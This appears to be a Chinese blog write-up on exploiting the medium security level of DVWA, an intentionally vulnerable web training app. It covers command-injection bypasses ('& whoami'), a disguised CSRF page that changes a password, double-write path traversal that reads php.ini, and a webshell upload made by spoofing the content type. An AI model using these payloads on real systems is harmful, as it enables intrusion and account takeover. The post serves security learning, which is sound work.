dvwa medium级别前五漏洞测试
brute force(暴力**)
发现medium级别直接SQL注入,不行了,
看源码,相比于low级别,medium级别多了这样几行代码:
$user = ((isset($GLOBALS["___mysqli_ston"]) &&is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
函数解读
$GLOBALS[“___mysqli_ston”]这只是一个自定义全局变量可以不用在意
isset
(PHP 4, PHP 5, PHP 7)
isset — 检测变量是否已设置并且非 NULL
说明
bool isset ( mixedvar[,mixed … ] )
检测变量是否设置,并且不是 NULL。is_object
(PHP 4, PHP 5, PHP 7)
is_object — 检测变量是否是一个对象
描述
bool is_object ( mixed $var )mysql_real_escape_string
(PHP 4 >= 4.3.0, PHP 5)
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
Warning本扩展自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL:选择 API 指南以及相关 FAQ 来获取更多信息。用以替代本函数的有:
mysqli_real_escape_string()
PDO::quote()说明
string mysql_real_escape_string ( stringunescapedstring[,resource link_identifier = NULL ] )本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ‘, ” 和 \x1a.
为了安全起见,在像MySQL传送查询前,必须调用这个函数(除了少数例外情况)。
与low级别相比,多了检测函数,将一些特殊字符(x00, n, r,’ ,” ,x1a)做了转义,将其转义为\x00, \n, \r, , ‘, ” 和 \x1a,这样做能抵御一些SQL注入漏洞。
但是并没有防**机制。因此依然可以**求出密码,操作方法与low一致,懒得说了。
Command Injection(命令注入)
按照low级别的方法,输入192.168.118.1 && whoami企图注入试试。发现报错
查看源码:
发现相比于low级别的代码,增加了这样的几行:
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
Array 数组
PHP 中的数组实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。
定义数组 array()
可以用 array() 语言结构来新建一个数组。它接受任意数量用逗号分隔的 键(key) => 值(value)对。array( key => value , ... ) // 键(key)可是是一个整数 integer 或字符串 string // 值(value)可以是任意类型的值
最后一个数组单元之后的逗号可以省略。通常用于单行数组定义中,例如常用 array(1, 2) 而不是 array(1, 2, )。对多行数组定义通常保留最后一个逗号,这样要添加一个新单元时更方便。
自 5.4 起可以使用短数组定义语法,用 [] 替代 array()。
str_replace
str_replace — 子字符串替换
说明
mixed str_replace ( mixedsearch,mixed replace , mixed subject [, int &count ] )
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。
array_keys
array_keys() 返回 input 数组中的数字或者字符串的键名。
如果指定了可选参数 search_value,则只返回该值的键名。否则 input 数组中的所有键名都会被返回。
可以看出来,其实,medium比low增加了过滤而且还是不完整的过滤,将&&和;替换为”(空字符)。那么我们可以想办法绕过这样的过滤。
如构造这样的语句:
192.168.118.1 & whoami(或net user等命令)
192.168.118.1 &;& whoami(或net user等命令)
CSRF
查看源码:
相比于low,增加了判断条件
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos — 查找字符串首次出现的位置(不区分大小写)
$_SERVER[ ‘HTTP_REFERER’ ]可以获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的 URL 地址,可以做到防盗链作用,只有点击超链接即
<A href=...>
打开的页面才有HTTP_REFERER环境变量。
$_SERVER[ ‘SERVER_NAME’ ]取得主机名
Medium级别的代码检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.118.129),希望通过这种机制抵御CSRF攻击。
在别的网页直接访问修改密码的链接,但是得到的http包是这样的:
发现,没有’HTTP_REFERER’参数,这也证明了之前的内容,“只有点击超链接
打开的页面才有HTTP_REFERER环境变量。”,此外也证明了,仅仅在别的网页中构造url来利用CSRF漏洞是不行的。
利用方法:
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.118.129)
我们可以将攻击页面命名为192.168.118.129.html(页面被放置在攻击者的服务器里)就可以绕过了
源码如下:
<html>
<img src="http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h1>Not Found</h1>
</html>
访问192.168.118.129.html,burpsuite拦截到了两个页面请求,一个是192.168.118.129.html,另一个是html中包含的跳转链接http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
也就是改密链接,最终导致密码的修改。
总结
我们构造了合理的页面,当用户点击的时候,会跳转到192.168.118.129.html,由于其会话cookie还在,执行HTML中的src=”“,在跳转修改密码的页面,而且由于html的命名,将判断条件绕过了,就能修改密码。
File Inclusion(文件包含)
文件包含的代码很短,很容易看出来将一些字符过滤,如
“http://”, “https://”替代为”“(空) 去除远程包含
“../”, “..\”” 替代为”“(空) 去除本地包含
但是也是一样的问题:这样的过滤是可以绕过的,很简单的绕过方式就是双写绕过,比如构造
hthttp://tp://
或者
..././
函数将中间的http://删除,然后留下了http://,
将中间的../删除,然后又留下了../
双写绕过就是这么简单!!
那么,这个medium利用起来就很简单了。
本地包含
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././php.ini
或
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././phpstudy/WWW/DVWA/php.ini
读取配置文件成功。
而且,由于是过滤../, ..\ 只能去除了相对路径的文件包含,绝对路径依然可以利用!
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=C:\phpstudy\WWW\DVWA\php.ini
远程包含
很简单,双写利用,就OK了。
http://192.168.118.129/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.118.129/phpinfo.php
按理说没错,但是一直失败。。。有大佬知道原因的望告知。。。
File Upload(文件上传)
查看代码:
比较容易看出,代码将上传文件的类型限定为image/jpeg和image/png,上传文件的大小限定10000B以下。首先我们传一句话木马不用考虑大小的问题。
然后就是考虑,文件类型的问题。
我想到用php.png绕过,但是发现虽然上传成功,但是拿不到shell。
于是开始查资料,原来
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
这种办法只在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。
发现可以通过上传时截取数据,利用burpsuite将一些请求行做修改:
将文件格式这个值改为image/png
发现上传成功了。
这样直接连菜刀就OK了。
更多绕过姿势,会再总结。
上一篇: 永琪:乾隆最宠爱的儿子,生母是奴才出身
下一篇: 76.窗口滑动最小子串
推荐阅读